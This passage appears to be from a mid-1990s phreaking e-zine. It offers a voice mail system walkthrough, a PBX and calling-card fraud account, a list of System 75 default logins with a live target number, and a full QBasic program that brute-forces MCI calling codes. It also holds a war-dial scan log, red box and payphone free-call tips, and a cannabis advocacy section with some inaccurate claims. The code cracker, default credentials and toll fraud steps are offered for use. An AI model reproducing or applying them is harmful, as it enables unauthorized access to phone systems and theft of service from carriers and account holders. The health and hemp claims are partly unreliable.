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ÄÄ Enter yourmailbox number and yoru personal password (if programmed). Then
|
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press #.
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IF YOUR MSG KEY IS LIT AND YOU HAVE A MESSAGE FROM VOICE MAIL:
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ÄÄ Press MSG
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ÄÄ If required, enter your mailbox number.
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ÄÄ Enter your personal password and press #.
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The first time you use your mailbox, you must initialize it (set it up).
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System prompts will instruct you to:
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þ Change the default password number to a personal password.
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þ Record a name to identify yourself in the company directory.
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þ Listen to the Voice Mail application introduction. (You can't skip this
|
|
introduction. If you exti without listening to it, the introduction will
|
|
play again the next time you enter your mailbox.
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|
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TO INITIALIZE YOUR MAILBOX:
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ÄÄ Dial the Voice Mail access number. (You hear the Main Menu)
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ÄÄ Pree * to identify yourself as a subscriber or hacker.
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ÄÄ Enter your mailbox number and default password. (Your default password is
|
|
the mailbox number.)
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ÄÄ IF YOU WANT A PASSWORD, enter a new password using digits 0-9, up to 12
|
|
digits though. Then press #. Voice Mail plays back your password.
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|
If you don't want a password press #.
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ÄÄ Press # to accept the entry. (Or press 3 if you wish to reenter the pword)
|
|
The system prompts you to record your directory name.
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ÄÄ After the tone, record your first and last name. When finished press #.
|
|
ÄÄ Press # again to accept the name. (Or bang 1 to replay the name you just
|
|
recorded without saving, or 2 to add to your name, or press 3 to erase and
|
|
then rerecord it.
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ÄÄ The sytem then plays a prompt that introduces you to basic Voice Mail
|
|
functions. (You can't skip this tutorial. If you exit without listening to
|
|
it, the introduction will play again the next time your enter your mailbox)
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<.3.> Listening To And Sending Messages
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Whenever you enter your mailbox, you are told how many new and saved messages
|
|
you have.
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|
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|
TO LISTEN TO MESSAGES:
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ÄÄ Enter your mailbox as described on Section 2
|
|
ÄÄ EITHER, Press 1 to listen to your new messages.
|
|
OR, Press 3 to listen to your saved messages.
|
|
ÄÄ The system plays each message in the queue selected. While you are
|
|
listening to a message, you can use the following options:
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þ Press 1 to back up
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|
þ Press 2 to pause. (Then press any key to continue.)
|
|
þ Press 3 to skip ahead.
|
|
þ Press 4 to lower the volume.
|
|
þ Press 5 to play the message envelope again.
|
|
þ Press 6 to raise the volume.
|
|
þ Press # to skip to the end of the recording.
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|
|
|
ÄÄ When the message has finished playing, you have the following choices:
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|
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þ Press 1 to replay the message from the beginning.
|
|
þ Press 2 to reply to the message.
|
|
þ Press 3 to forward a copy of the message to another subscriber, along
|
|
with your introductory comments.
|
|
þ Press 4 to listen to the previous message.
|
|
þ Press 5 to play the introductory message "envelope" again.
|
|
þ Press 6 to the next message.
|
|
þ Press 7 to save the new message in your mailbox.
|
|
þ Press 9 to delete the message from your mailbox.
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|
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|
TO SEND MESSAGES:
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|
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ÄÄ Enter your mailbox as described in section 2.
|
|
ÄÄ Press 2.
|
|
ÄÄ Dial the desired mailbox number or group list number.
|
|
ÄÄ After hearing the subscriber's name, press # to accept it.
|
|
ÄÄ When you hear the tone record your message.
|
|
þ To pause while recording press 2. To continue press any key.
|
|
þ To erase and re-record your message press 3.
|
|
|
|
ÄÄ EITHER, Hang up to send the message.
|
|
OR, Use one of the following options:
|
|
þ Press 1 to replay the message.
|
|
þ Press 2 to add to the message.
|
|
þ Press 3 to erase and re-record the message.
|
|
|
|
ÄÄ EITHER, Press # to send the message.
|
|
OR, Press 1 to use the special delivery options. You can perform one or
|
|
more of the following steps:
|
|
þ Press 1 to mark the message "private" to prevent the recipient from
|
|
forwarding it.
|
|
þ Press 2 to mark the message "certified" if you want to recieve a receipt
|
|
notice.
|
|
þ Press 3 to mark the message "priority" to place your message ahead of
|
|
all other waiting messages in the recieving mailbox.
|
|
þ Press * to cancel delievery options.
|
|
þ Press # to deliver the message.
|
|
|
|
ÄÄ After the message has been sent, you may hang up or choose either of the
|
|
following options:
|
|
þ Press 1 and enter another mailbox number to send the message to another
|
|
destination.
|
|
þ Press # to return to the Main Menu.
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|
|
|
<.4.> Personal Options
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|
|
|
Personal Options allow you to customize your mailbox. Voice Mail has the
|
|
following personal options:
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|
|
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þ Greetings: Your primary or alternate greeting is played to callers when
|
|
they reach your mailbox.
|
|
|
|
þ Directory Name: Your recorded name is used to identify you in the directory
|
|
and to verify your mailbox number when messages are addressed to you by
|
|
non-subscribers and other subscribers.
|
|
|
|
þ Password: Your password is ued to prevent unauthorized acceses to your
|
|
mailbox.
|
|
|
|
þ Message Envelope Contents: Each message is preceded by an "envelope" message
|
|
that can be programmed to include time/date the message was left, the
|
|
source of the message, and/or the length of the message.
|
|
|
|
To Program Personal Options:
|
|
|
|
ÄÄ Enter your mailbox #.
|
|
ÄÄ Press 4 to select Personal Options Menu. You may then perfrom any or all
|
|
of the following functions:
|
|
|
|
To Change Your Personal Greeting:
|
|
ÄÄ Press 1
|
|
ÄÄ EITHER, Press 1 to record and/or enable your primary greeing.
|
|
ÄÄ OR, Press 2 to record and/or enable your alternate greeting.
|
|
ÄÄ OR, Press 3 to enable the system default mailbox greeting.
|
|
ÄÄ If you pressed 1 or 2, the greeting is played.
|
|
EITHER, Press # to accept the greeint. (Or, press 1 if you wish to
|
|
replay the greetiing, press 2 to add to the greeting, or press 3 to
|
|
erase and re-record the greeting.)
|
|
OR, Press * to exit without changing the greeting.
|
|
|
|
To Change Your Directory Name:
|
|
ÄÄ Press 2. Your current name is played. Press 1 to replay your recorded
|
|
name, if desired.
|
|
ÄÄ Press 3 to erase and re-record your name.
|
|
ÄÄ When you hear a tone, record your first and last name, then press #.
|
|
ÄÄ Press # again to accept your recorded name. (Or, press 1 to replay
|
|
your recoreded name, press 2 to add to your name, or press 3 to erase
|
|
and re-record your name.)
|
|
|
|
To Change Your Password:
|
|
ÄÄ Press 3.
|
|
ÄÄ Enter a password using digits 0-9 (up to 12 digits).
|
|
ÄÄ Press #. Voice Mail plays back your password.
|
|
ÄÄ Press # to accept the password as entered. Or, press 3 if you want to
|
|
erase and re-enter your password.
|
|
|
|
To Change Your Message Envelope:
|
|
ÄÄ Press 4.
|
|
ÄÄ To enable or disable the time/date option, press 1.
|
|
ÄÄ To enable or disable the message source option, press 2.
|
|
ÄÄ To enable or disable the message lenght option, press 3.
|
|
ÄÄ To enable all options, press 4.
|
|
ÄÄ To disable the envelope, press 5.
|
|
ÄÄ To accept the envelope, press #.
|
|
ÄÄ To return to the Persoanl Options menu without changing the envelope,
|
|
press *.
|
|
|
|
|
|
<.5.> Remote Messageing and Using The Directory
|
|
|
|
REMOTE MESSAGING :
|
|
|
|
To Set Up Remote Messaging:
|
|
ÄÄ Enter your mailbox as described in section 2.
|
|
ÄÄ Press 5.
|
|
ÄÄ Press 1 to set up a Primary destination or press 2 to setup an
|
|
alternate destination. You then have the following options:
|
|
|
|
To Turn Remote Messaging On Or Off:
|
|
ÄÄ Press 1.
|
|
ÄÄ If Chosen press 1 to enable pager notification or 2 to enable personal
|
|
notification. Then, press 1 to have it notify you for any new message
|
|
or press 2 to have it notify you on priority messages only.
|
|
|
|
To Set Up Or Change The Telephone Number:
|
|
ÄÄ Press 2.
|
|
ÄÄ Dial the telephone number, then press #.
|
|
|
|
To Set Up The Time Of Day:
|
|
ÄÄ Press 3.
|
|
ÄÄ When prompted, enter the time at which you wish to have the message
|
|
notification start and stop. Enter the times with two digits for the
|
|
hour and two digits for the minutes. (If you wish to have continous
|
|
notification, enter the same time for the starting and ending. ) If
|
|
entering the time in the 12-hour format you will be promted to press
|
|
1 for AM or press 2 for PM.
|
|
|
|
To Set Up The Days Of The Week:
|
|
ÄÄ Press 4.
|
|
ÄÄ Press 1 for messagin Monday-Friday, press 2 for all days, or press
|
|
3 to select individual days.
|
|
ÄÄ If you selected individual days, you will be prompted to press digits
|
|
1-7 which correspond to the days Sunday through Saturday. (ie Sunday
|
|
= 1) Press # to accept the days of the week.
|
|
|
|
To Exit:
|
|
ÄÄ Press #.
|
|
|
|
USING THE DIRECTORY :
|
|
|
|
The mailbox and extension number directories can be used any time a prompt
|
|
asks you to enter a mailbox number. You use the keypad keys on your phone
|
|
to enter the name. The system then plays the closest matching directory name
|
|
that corresponds to the entry.
|
|
|
|
To Use The Directory:
|
|
ÄÄ Dial the Voice Mail access number.
|
|
ÄÄ Press # for Directory Services.
|
|
ÄÄ Enter the desired name by pressing a single key on the dial pad for
|
|
each letter of the name, then press #. (The letters match those printed
|
|
on the key. for example pressing 2 to enter A, B, or C.)
|
|
To hear the system play a helpful prompt instructing you how to
|
|
enter a name, press 0 at any time while spelling a name.
|
|
|
|
ÄÄ The selected name is played. Do one of the following:
|
|
-To accept the name press #.
|
|
-To hear the previous name in the directory, press 1.
|
|
-To hear additional information for the selected anem (if allowed),
|
|
press 2.
|
|
-To hear the next name in the directory, press 3.
|
|
-To spell a different name, press 4 and spell a new name as described
|
|
above.
|
|
-To switch the first/last name sort order, press 5.
|
|
|
|
<.6.> Where Can I Find This System?
|
|
|
|
To tell you the truth I don't know. There is no way of identifying this
|
|
system from any other. Except for the fact that you cannot get this system
|
|
to tell you that it is an IVX500. So good luck and happy hacking.
|
|
|
|
[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]
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|
|
|
<.ARTiCLE.9.>
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
³My Allnet Discovery³ ÿ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
ÚijÄÄÄÄÄÄÄÄ¿
|
|
by ÄÄÅÄÄreason³
|
|
ÀijÄÄÄÄÄÄÄÄÙ
|
|
|
|
Recently I was trying to call up Hallmark on their Holiday Greeting
|
|
line to use their Prepaid Calling-Card service. But I couldn't remember the
|
|
number. I knew it was around (800) 203-12xx. So I tried 35 as the xx. Which
|
|
I was sure would work and I hear the sweet sound of the Allnet operator's
|
|
recorded voice echoing through my phone "Please Enter Your 4 Digit PiN".
|
|
Hmm, I thought sounds like a PBX. I didn't know anything about it at first
|
|
until I entered 9999 as the PiN. When the operator's voice echoes "Thank You"
|
|
So right now I'm feeling pretty good I found a PBX and got the code on the
|
|
first try. Well it wasn't the right code I wanted. It forwared me to Allnet's
|
|
Customer Service Automed System. Once you get to this hit 2 for the real
|
|
automated service. On that you can find out your account balance with your
|
|
Allnet account number which if you can hack can get you free calls through
|
|
their extender which I will explain later in this article. You can also find
|
|
out find out dialing sequences for dialing domestic and international. Plus
|
|
some other useless shit like finding out mailing addresses to where to send
|
|
you bills. This service can be reached without going through a PBX by calling
|
|
(800) 536-3273.
|
|
Now back to the PBX hacking. After that customer service discovery I
|
|
tried a number. Then I hear enter my 4 digit PiN again. The second try I did
|
|
it again and hear "One Moment Please". I thought jackpot. But then hear
|
|
"You must enter a valid Pin for placing your call". Rats foiled again. Thats
|
|
how I knew it was a PBX. I was thinking how lucky I was to have found a PBX
|
|
for a mass telco so luckily. Little did I know theirs a million of these
|
|
around. And some are fucked up so after entering 2 invalid pins it transfers
|
|
you to someones residence! Incase your wondering one of those numbers is
|
|
(800) THE-KRAD (843-5723). At the end of this article will be a small list of
|
|
numbers for this service.
|
|
For their extender just dial on up (800) 783-1444. Then with your
|
|
touchtone phone dial that numbers. Then at the first single tone dial
|
|
0-NPA-PRE-SUFF. You can call international. Then at the second double tone
|
|
enter your 11 digit Allnet account number and your call will be billed to
|
|
you Allnet account.
|
|
|
|
List oF Numbers
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
(800) xxx-xxxx
|
|
(800) 203-1235
|
|
(800) THE-KRAD
|
|
(800) 868-5995
|
|
(800) 868-1362
|
|
(800) 868-1366
|
|
(800) 868-0586
|
|
(800) 868-3210
|
|
(800) 868-0056
|
|
(800) 868-5083
|
|
(800) 868-1974
|
|
(800) 868-2218
|
|
(800) 868-3580
|
|
(800) 868-5028
|
|
(800) 868-4624
|
|
(800) 868-1666
|
|
(800) 325-4073
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|
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[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]
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|
<.ARTiCLE.10.>
|
|
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
³System 75 Defaults ³ ÿ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
By Ser:
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|
|
|
cust custpw - Highest acct privlege
|
|
rcust rcustpw - Restricted cust acct (Still good)
|
|
|
|
browse browsepw - Pretty Much shit
|
|
browse looker - Shit
|
|
maint rwmaint
|
|
LOCATE locatepw
|
|
tech field
|
|
inads inads
|
|
inads indspw
|
|
inads inadspw
|
|
support supportpw
|
|
bcim bcimpw
|
|
bciim bciimpw
|
|
enquiry enquirypw
|
|
init initpw
|
|
bcms bcms
|
|
bcms bcmspw
|
|
craft craftpw
|
|
craft crack
|
|
blue bluepw
|
|
|
|
We've found a few in 518, but we aint giving them out, cause if we do there
|
|
will be about 500+ wanna be 518 hackers fucking it up for us... But we will
|
|
give you one in 5o3.... here ya go 5o3-223-5340, it still uses cust and rcust
|
|
for defualts, so you can check it out.. Late
|
|
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[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]
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|
|
|
<.ARTiCLE.11.>
|
|
|
|
A Simple MCi Code Hacker By Substance
|
|
|
|
Check this prog out, i wrote this with some spare time, you should substitute
|
|
your correct comport for the comport given defaulted. Exaclty what this will
|
|
do is, call the 95o-1o22 # (For MCi's PBX) and dial in a random MCi Code
|
|
(excluding starting 0's and 1's) Then will dial a # that will never be busy
|
|
with a modem obviously (like i think it's compusrv) Then wait a few sec's.
|
|
If it see's the word CONNECT it writes the code to file. All tho this isnt
|
|
the most accurate way of hacking MCi codes, this has about a 10 out of 100
|
|
chance of getting home.. Try it out, if your not completly satisfied, fuck off
|
|
|
|
- Substance
|
|
|
|
------------------------------------------------------------------------------
|
|
ON ERROR GOTO ED
|
|
|
|
BEGIN:
|
|
RANDOMIZE TIMER
|
|
CLOSE
|
|
|
|
HACK$(3) = "14" ' CODE LENGTH
|
|
SCAN$(8) = "40" ' SECONDS TO WAiT FOR CoNNECT
|
|
|
|
OPEN "COM2:2400,N,8,1" FOR RANDOM AS #1: OPEN "CON" FOR OUTPUT AS #2: OPEN "VALIDS.DAT" FOR APPEND AS #3
|
|
|
|
1
|
|
CLS
|
|
COLOR 11: PRINT " MCi LD K0DE HACKER"
|
|
COLOR 11: PRINT "þ"; : COLOR 9: PRINT " iNiTiALiZiNG MoDeM ": PRINT #1, "ATS11=80": SLEEP 3
|
|
COLOR 3: PRINT "þ"; : COLOR 9: PRINT " DiALiNG MCi"
|
|
|
|
|
|
|
|
4
|
|
a$ = INKEY$
|
|
TOTAL$ = "": Q$ = "" ' CLEAR MODEM BUFFER
|
|
NUMS$ = "" ' CLEAR RANDOM #'S
|
|
LOCATE 4, 1 ' [ ]
|
|
FOR DL = 1 TO VAL(HACK$(3)) ' [ ]
|
|
X = INT(RND * 10) ' [ ]
|
|
IF DL = 1 AND X = 0 THEN X = INT(RND * 9 + 1) ' [ GENERATES ]
|
|
X$ = STR$(X) ' [ RANDOM ]
|
|
X$ = RIGHT$(X$, 1) ' [ #'S ]
|
|
NUMS$ = NUMS$ + X$ ' [ ]
|
|
NEXT DL ' [ ]
|
|
PRINT "HACKiNG CODE " + NUMS$ ' [ ]
|
|
|
|
PRINT #1, "ATDT9501022,,,,0-8012501600,,," + NUMS$
|
|
|
|
Starttime = TIMER
|
|
IF a$ = CHR$(27) THEN CLOSE : END
|
|
2
|
|
a$ = INKEY$
|
|
Timeleft = INT(TIMER - Starttime)
|
|
T$ = INPUT$(LOC(1), #1)
|
|
TOTAL$ = TOTAL$ + T$
|
|
|
|
IF a$ = CHR$(27) THEN CLOSE : END
|
|
|
|
IF INSTR(1, TOTAL$, "NO CA") > 0 THEN PRINT "NO CARRiER": GOTO BEGIN
|
|
IF INSTR(1, TOTAL$, "CONN") > 0 THEN PRINT #3, "HACKiNG 95o-1o22 C0DE - " + NUMS$: BEEP: LOCATE 15, 1: PRINT "LAST VALiD CODE " + NUMS$: PRINT #1, "ATZH0": CLOSE #1: OPEN "COM2:19200" FOR RANDOM AS #1: NUMS$ = "": SLEEP 2: TIMEE = 0: GOTO BEGIN
|
|
IF INSTR(1, TOTAL$, "CARR") > 0 THEN PRINT #3, "HACKiNG 95o-1o22 C0DE - " + NUMS$: BEEP: LOCATE 15, 1: PRINT "LAST VALiD CODE " + NUMS$: PRINT #1, "ATZH0": CLOSE #1: OPEN "COM2:19200" FOR RANDOM AS #1: NUMS$ = "": SLEEP 2: TIMEE = 0: GOTO BEGIN
|
|
IF INSTR(1, TOTAL$, "BUSY") > 0 THEN PRINT "BUSY": GOTO BEGIN
|
|
IF a$ = CHR$(27) THEN CLOSE : END
|
|
TIMEE = VAL(SCAN$(8)) - Timeleft
|
|
IF TIMEE < 0 THEN PRINT #1, "ATZH0": CLOSE #1: OPEN "COM2:19200" FOR RANDOM AS #1: GOTO 4
|
|
LOCATE 5, 1
|
|
PRINT TIMEE; " SECONDS LEFT"
|
|
GOTO 2
|
|
|
|
|
|
|
|
END
|
|
|
|
|
|
ED:
|
|
IF ERR = 57 THEN RESUME
|
|
PRINT ERR
|
|
PRINT "PLEASE PRESS ENTER ERROR"
|
|
------------------------------------------------------------------------------
|
|
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|
|
<.ARTiCLE.12.>
|
|
Scanned By Substance from 12-24-94 up to 01-05-95
|
|
|
|
Carrier At 459-0022 - Dead ±ð± 12-24-1994 21:59:02
|
|
Carrier At 459-0037 - Dead ±ð± 12-24-1994 22:05:43
|
|
Carrier At 459-0038 - Dead ±ð± 12-24-1994 22:05:45
|
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Carrier At 459-0166 - ID + PW ±ð± 12-24-1994 23:17:47
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Carrier At 459-0193 - SCo UNiX ±ð± 12-24-1994 23:29:08
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Carrier At 459-0266 - Dead ±ð± 12-25-1994 00:00:12
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Carrier At 459-0270 - TeleSphere BBS ±ð± 12-25-1994 00:01:36
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Carrier At 459-0283 - Needs Acct Id e,7,1 ±ð± 12-25-1994 00:07:06
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Carrier At 459-0294 - Dead ±ð± 12-25-1994 00:11:27
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Carrier At 459-0582 - Sco UniX ±ð± 12-25-1994 02:22:57
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Carrier At 459-0589 - Sco UniX ±ð± 12-25-1994 02:26:07
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Carrier At 459-0602 - Dead ±ð± 12-25-1994 02:31:41
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Carrier At 459-0616 - UniX ±ð± 12-25-1994 02:38:19
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Carrier At 459-0734 - UniX ±ð± 12-25-1994 03:31:24
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Carrier At 459-0740 - Dead ±ð± 12-25-1994 03:33:48
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Carrier At 459-0798 - Dead ±ð± 12-25-1994 04:00:41
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Carrier At 459-0810 - Dead ±ð± 12-25-1994 04:05:42
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Carrier At 459-0811 - Dead ±ð± 12-25-1994 04:05:44
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Carrier At 459-0827 - UniX ±ð± 12-25-1994 04:13:01
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Carrier At 459-0836 - Password Required ±ð± 12-25-1994 04:17:27
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Carrier At 459-1016 - Different Terminal Needed ±ð± 12-25-1994 05:38:02
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Carrier At 459-1024 - Enter Password ±ð± 12-25-1994 05:41:54
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Carrier At 459-1033 - Dead ±ð± 12-25-1994 05:45:51
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Carrier At 459-1070 - 12oo, num ±ð± 12-25-1994 06:02:57
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Carrier At 459-1092 - Dead ±ð± 12-25-1994 06:12:59
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Carrier At 459-1163 - Federal Interstate Bank? ±ð± 12-25-1994 06:44:59
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Carrier At 459-1164 - Dead ±ð± 12-25-1994 06:45:23
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Carrier At 459-1258 - Welcome To Albany, Unix ±ð± 12-25-1994 07:30:34
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Carrier At 459-1354 - Dead ±ð± 12-25-1994 08:14:42
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Carrier At 459-1356 - Dead ±ð± 12-25-1994 08:15:37
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Carrier At 459-1377 - Dead ±ð± 12-25-1994 08:25:38
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Carrier At 459-1508 - Dead ±ð± 12-25-1994 09:38:30
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Carrier At 459-1514 - Dead ±ð± 12-25-1994 09:41:09
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Carrier At 459-1601 - Some very weird system ±ð± 12-25-1994 17:14:14
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Carrier At 459-1740 - UNiX ±ð± 12-27-1994 23:24:54
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Carrier At 459-2003 - Dead ±ð± 12-28-1994 01:24:11
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Carrier At 459-2155 - Dead ±ð± 12-28-1994 02:34:59
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Carrier At 459-2189 - Dead ±ð± 12-28-1994 02:50:49
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Carrier At 459-2233 - Dead ±ð± 12-28-1994 03:11:15
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Carrier At 459-2319 - Dead ±ð± 12-28-1994 03:51:41
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Carrier At 459-2345 - Dead ±ð± 12-28-1994 04:03:43
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Carrier At 459-2661 - Dead ±ð± 12-28-1994 06:31:28
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Carrier At 459-2742 - Dead ±ð± 12-28-1994 07:09:07
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Carrier At 459-2951 - Dead ±ð± 12-28-1994 08:47:08
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Carrier At 459-2959 - Dead ±ð± 12-28-1994 08:51:53
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Carrier At 459-3292 - Dead ±ð± 12-28-1994 14:19:53
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Carrier At 459-3355 - Modem, No Con ±ð± 12-28-1994 14:48:11
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Carrier At 459-3369 - OfficeMax StoreMax ]I[ ±ð± 12-28-1994 14:54:33
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Carrier At 459-3419 - Dead ±ð± 12-28-1994 15:17:52
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Carrier At 459-3424 - Dead ±ð± 12-28-1994 15:19:41
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Carrier At 459-3501 - Dead ±ð± 12-28-1994 16:54:41
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Carrier At 459-3511 - Fax ±ð± 12-28-1994 16:59:44
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Carrier At 459-3554 - UNiX - SYNC SYNC11 ±ð± 12-28-1994 17:21:27
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Carrier At 459-3776 - UNiX ±ð± 12-29-1994 17:19:09
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Carrier At 459-4287 - Different Terminal ±ð± 12-30-1994 03:29:13
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Carrier At 459-4394 - SCoUNiX ±ð± 12-30-1994 04:17:11
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Carrier At 459-4452 - Dead ±ð± 12-30-1994 04:42:00
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Carrier At 459-4892 - Dead ±ð± 12-30-1994 08:03:29
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Carrier At 459-4934 - Different Terminal ±ð± 12-30-1994 08:22:15
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Carrier At 459-5161 - Unix ±ð± 12-30-1994 10:05:24
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Carrier At 459-5176 - Dead ±ð± 12-30-1994 10:11:16
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Carrier At 459-5215 - UNiX - ID: SYNC/SYNC11 ±ð± 12-30-1994 14:00:59
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Carrier At 459-5344 - UNiX ±ð± 01-03-1995 07:48:04
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Carrier At 459-5397 - Different Terminal ±ð± 01-03-1995 08:12:53
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Carrier At 459-5427 - (144) ±ð± 01-03-1995 08:27:07
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Carrier At 459-5524 - Dead ±ð± 01-03-1995 09:12:24
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Carrier At 459-5607 - Dead ±ð± 01-03-1995 09:48:21
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Carrier At 459-5917 - (1200) ±ð± 01-03-1995 12:09:17
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Carrier At 459-6282 - Different Terminal ±ð± 01-03-1995 14:56:32
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Carrier At 459-6337 - Dead ±ð± 01-05-1995 02:11:06
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Carrier At 459-6461 - Dead ±ð± 01-05-1995 03:04:19
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Carrier At 459-6487 - Dead ±ð± 01-05-1995 03:15:10
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Carrier At 459-6538 - Dead ±ð± 01-05-1995 03:36:51
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Carrier At 459-6543 - Dead ±ð± 01-05-1995 03:38:46
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Carrier At 459-6551 - Dead ±ð± 01-05-1995 03:42:12
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Carrier At 459-6588 - Dead ±ð± 01-05-1995 03:57:52
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Carrier At 459-6799 - Dead ±ð± 01-05-1995 05:26:50
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Carrier At 459-6822 - Dead ±ð± 01-05-1995 05:36:56
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Carrier At 459-6916 - Dead ±ð± 01-05-1995 06:15:27
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Carrier At 459-6970 - Special Terminal ±ð± 01-05-1995 06:38:05
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Carrier At 459-6977 - UNiX ±ð± 01-05-1995 06:40:51
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Carrier At 459-6997 - UNiX ±ð± 01-05-1995 06:48:42
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Carrier At 459-7254 - (96oo) ±ð± 01-05-1995 08:54:05
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Carrier At 459-7500 - Dead ±ð± 01-05-1995 10:43:49
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Carrier At 459-7594 - Dead ±ð± 01-05-1995 11:24:01
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Carrier At 459-7718 - (12oo) Says Weird Shit ±ð± 01-05-1995 12:17:23
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Carrier At 459-8059 - Dead ±ð± 01-05-1995 14:41:46
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This was alot of werk so enjoy it..
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Another Scan Done sucessfully by PsychoScan 2.10 (PsychoScan's latest on most
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good FTP sites including ftp.winternet.com, and spy.org. Also on AWoL [518]
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<.ARTiCLE.13.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³ BTR Shorts ³
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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by
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The Whole World
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->þ What are BTR Shorts?
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BTR shorts are pieces of info that are too small for their own article
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therefore their short pieces. Hence the name shorts. If you can submit
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a short send to AWoL [518] 383-1369.
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->þ Isn't Pilgrim Telephone (a New England Based Telco) pretty arrogant
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about their collect calling service? I think so.
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By calling
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[800] 382-5288 or [800] FUCK-ATT and
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[800] 382-5624 or [800] FUCK-MCI
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You hear a duck quack really loud then you Pilgrim Telephone introduces
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themselves, then you hear "Enter The Number You Wish To Call" Then enter
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ACN and then it'll ask for your name say "Dick" and it'll call that #
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and ask if they'll accept a collect call from Dick. Without you hearing
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the operator + person conversation.
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->þ If you want a sure fire way to red box that always works then listen up.
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In order for this to work you have to have a properly recorded tone. By
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dialing up any 10xxx (tenex) code plus 1+ACN. Then it asks you for a
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shit load of money. Like $1.35 for a local call. But since it isn't
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monitored theres nothing there to monitor how many coins have been
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dropped in.
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->þ New AC's in '95
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281 - Texas
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334 - Alabama
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360 - Washington
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423 - Tennessee
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456 - International Inbound
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500 - Personal Communications Services (A SAC or Special Area Code)
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520 - Arizona
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540 - Virginia
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562 - California
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630 - Illinois
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954 - Florida
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970 - Colorado
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->þ A Brief List of 10XXX (Tenex) Codes.
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10222 - MCi
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10245 - RCi
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10288 - AT&T
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10333 - Sprint
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10444 - AllNet
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10488 - Metromedia
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10532 - Joker Communications
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10533 - Joker Communications
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10555 - Wiltel
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10658 - Wiltel
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10732 - AT&T
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10789 - Metromedia
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10811 - VarTec Telecom
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10880 - Opticom
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->þ Quick answer this :
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True or False you can always make free calls from a Cocot?
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In the words of OJ Simpson, Absolutely, Positevely 100 percent TRUE.
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If your waiting for DT trick doesnt work then use your autodialer or
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keypad. But if that doesn't work call up the operator (0) then ask for
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a long distance carrier, ie : ATT. Then say I need assistance in a call
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say the #, you can't do 900's but you can do 800's and LD, + INTL. That
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usually works. Sometimes that even works on badly programmed Bell
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phones.
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[-BEGIN.ADD-]
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->þ HEMP CAN SAVE THE WORLD!
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Cannabis hemp is known today primarily for its widespread use as a
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recreational drug: Cannabis flowers when smoked or ingested produce
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euphoric effects. Current gross domestic sales of marijuana are
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estimated at $30 billion...
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What is less well known is that hemp is an invaluable and enviromentally
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friendly resource in many other areas as well. For example: "One acre
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of hemp will make the same amount and quantity of paper as four acres
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of 20 year old trees without the need for chlorine in the bleaching
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process, creating no toxic dioxin pollutants."
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When mature, hemp is the toughest natural fiber known; demin was
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originally made from hemp sailcloth; canvas take its name from the
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word Cannabis (Canvass).
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Hemp can also be used as a fuel. Old USDA reports show Hemp gives 4-10
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times the yield of cellulose per acre compared to corn. Modern
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methods of converting cellulose to methanol make this a viable and
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pollution free method for powering cards, trucks, buses, etc.
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Equally important are the uses of Hemp for food and medicine. Cannabis
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seeds yield as much edible oil per acre as sunflowers do; the pressed
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pulp is second in protein only to that of soy beans. Federal regulations
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in the US prohibit research into additional benificial effects, however
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cannabis is well known to be helpful fro glaucoma, asthma, anorexica
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and stress, potentially replacing half the prescriptions written today.
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And , "...there are simply no credible medical reports to suggest that
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consuming marijuana has caused a single death...". Too bad the same
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can't be said of alcohol or tobacco.
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Today there is growing support for taking the 'crime' out of Cannabis.
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US DA Judge Vaughn Walker notes, "I make no bones about my personal
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view that the best course of action for us to take is exactly the same
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course of action for us to take is exactly the same course we took
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after prohibition. And that is decriminalization."
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Help save the planet. Help legalize Hemp! Cannabis Action Network (CAN)
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works with over 250 organizations worldwide. Call or write today for
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information on events in your area and how you can help.
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CANNABIS ACTION NETWORK
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2560 BANCROFT WAY #46
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BERKELY, CA 94704
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(510) 486-8083
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[-END.ADD-]
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->þ 20 Quick Facts On Pot
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1. Cannabis and hemp are the same.
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"Marijuana" was the Mexican name given to it.
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2. Cannabis was first cultivated in China around 4000 bc
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3. The original drafts of the Declaration of Independence were written
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on hemp paper.
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4. One acre of hemp will produce as much paper as 4 acres of trees.
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5. Hemp is a source of fiber and cloth and cordage for rope.
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6. George Washinton and Thomas Jefferson grew hemp. Washington, our
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very first president declared, "Make the most of the hemp seed. Sow
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it everywhere."
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7. Hemp see is nature's perfect food. The oil from hemp seeds has the
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highest percentage of saturated fats.
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8. Sterilized hemp seed is commonly sold as bird seed.
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9. Rolling papers, like Bambu, are made from hemp paper.
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10. In 1937, the Marijuana Tax Stamp Act prohibited the use, safe and
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cultivation of hemp/marijuana in the United States.
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11. Five years later, during WWII, the US Dept. of Agriculture released
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the film, "Hemp For Victory," which encouraged American farmers to
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grow hemp for the war effort.
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12. Hemp is cultivated all over the world. Today, China, Korea, Italy
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Hungary, Russia and France are among the countries that grow hemp
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for fiber, paper and other products.
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13. Cannabis is classified as a schedule 1 drug by the FDA. Designated
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as a narcotic, it cannot be prescribed by doctors to patients.
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14. In 1988, the DEA's own administravite law judge concluded that
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"marijuana is one of the safest, therapuetically active substances
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known to man."
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15. Cannabis can be used as a medicine to treat nausea, pain and muscle
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spasms. It alleviates symptons of glaucoma, MS, AIDS, migranes and
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other debillitating ailmetns.
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16. 35 states have passed legistation permitting medical use of hemp.
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17. 12 Americans recieve prescribed marijuana from the US goverment.
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18. More than 400,000 Americans are arrested each year on marijuana
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charges.
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19. More than 400,000 Americans die from diseases related to cigarette
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smoking each year. More than 150,000 Americans die of alcohol abuse
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each year. But in 10,000 years of usage no one has ever died from
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the usage of marijuana.
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20. Packs an awesome buzz.
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<.ARTiCLE.14.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³BTR News & Shit Like That³
